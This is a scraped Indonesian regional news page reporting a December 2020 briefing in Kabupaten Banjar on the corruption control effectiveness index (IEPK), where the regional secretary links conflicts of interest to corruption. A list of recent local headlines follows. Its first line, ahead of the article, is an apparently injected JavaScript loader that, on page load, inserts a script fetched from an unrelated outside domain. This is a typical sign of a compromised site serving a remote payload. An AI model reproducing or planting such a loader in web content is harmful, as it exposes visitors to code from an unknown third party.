(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Sosialisasi IEPK, Sekda Banjar: Benturan Kepentingan Awal Perbuatan Korupsi


KANALKALIMANTAN.COM, MARTAPURA – Mengukur kemajuan pengelolaan resiko korupsi dan strategi pengawasan atas masalah korupsi di wilayah Kabupaten Banjar, Satuan Kerja Perangkat Daerah (SKPD) Kabupaten Banjar mengikuti kegiatan sosialisasi Indeks Efektifitas Pengendalian Korupsi (IEPK) yang dilaksanakan Inspektorat Banjar bersama Badan Pengawas Keuangan dan Pembangunan (BPKP) Provinsi Kalsel, Jum’at (11/12/2020) pagi.

Kegiatan sosialisasi dibuka Sekda Banjar HM Hilman dan sebagai narasumber dari BPKP Provinsi Kalsel Bidang Pengawasan Ngatno.

Ngatno menyebutkan ada beberapa hal yang dapat mengakibatkan seseorang atau golongan melakukan tindakan korupsi, diantaranya adanya kesempatan dan kebutuhan.

Ia berharap dengan bentuk perhatian pemerintah daerah dan peran serta BPKP dapat meminimalisir pengendalian risiko korupsi di lingkup Pemkab Banjar.

 

“Dengan koordinasi dan kolaborasi dari setiap elemen akan menghasilkan IEPK yang baik, Kabupaten Banjar harus punya integritas dengan niat menjadikan wilayahnya bebas dari tindak pidana korupsi,” harapnya.

IEPK merupakan salah satu model pengukuran efektifitas pengendalian korupsi di instansi dan badan usaha pemerintah dan upaya mengkuantifikasi kemajuan pengelolaan risiko korupsi di organisasi.

Sementara itu, Sekda Banjar mengatakan, benturan kepentingan merupakan awal dari perbuatan korupsi. Hal tersebut diutarakannya dalam sosialisasi benturan kepentingan di lingkup Pemkab Banjar dihadapan SKPD yang berhadir.

Dalam keterangannya hal tersebut didasarkan pada beberapa landasan hukum, seperti Peraturan Menteri Negara Pendayagunaan Aparatur Negara dan Birokrasi Reformasi nomor 37 tahun 2012 dan Peraturan Bupati Banjar nomor 29 tahun 2020.

“Dengan dibentuknya landasan hukum dalam penanganan benturan kepentingan diperlukan adanya pengawasan intensif dari pemerintah, berprinsip untuk mengutamakan kepentingan publik serta penguatan integritas dan budaya menolak segala hal yang bisa memicu timbulnya perbuatan nepotisme dan korupsi,” ucapnya. (mckominfobanjar/kanalkalimantan.com)

 


Al Ghifari

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

4 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

4 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

6 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

9 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

13 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

13 jam ago

This website uses cookies.